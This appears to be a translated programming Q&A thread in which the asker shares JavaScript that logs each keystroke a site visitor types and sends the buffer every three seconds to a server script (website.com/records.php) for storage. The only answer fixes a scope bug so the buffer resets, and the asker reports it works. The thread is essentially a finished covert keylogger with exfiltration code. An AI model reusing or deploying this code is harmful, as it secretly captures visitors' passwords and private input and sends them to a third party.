2014-11-08 61 views
0

在下面的代码示例中,我想记录并发送来自访问者的键盘输入信息(这对我来说只是一个练习,而不是针对网络钓鱼攻击(对我自己来说是没用的网站))发送修改后的数据到服务器(带定时器)

var data = ''; 
function update_data(udata) 
{ 
    var http = new XMLHttpRequest(); 
    var param = encodeURI(udata) 
    http.open("POST","http://website.com/records.php",true); 
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
    http.send("data="+param); 

    var data = ''; 
} 

document.onkeypress = function(evt) 
{ 
    evt = evt || window.event 
    data = data + String.fromCharCode(evt.charCode) 
} 

timer = setInterval('update_data(data)', 3000); 

我想收集键盘输入3秒(在一个字符串(VAR数据)),然后将它们发送到服务器,最后清洁串并重新收集。 在records.php中,输入存储在数据库中。

我的问题是数据变量不会在函数update_data的末尾将值更改为空字符串。因此,如果用户输入'a',它会每3秒向服务器发送'a'。

+0

请大家看我的回答。 – 2014-11-08 15:34:48

回答

0

您应该参考全球data变量,而不是一个当地之一。

所以不是:

function update_data(udata) 
    { 
     ... 
     var data = ''; 
    } 

写:

function update_data(udata) 
    { 
     ... 
     data = ''; 
    } 

这个问题有作用域做,在这里阅读更多关于它:Variable Scope (JavaScript)

+0

谢谢,工作 – g4m30 2014-11-08 15:35:04

+0

@ g4m30不客气。 – 2014-11-08 15:35:54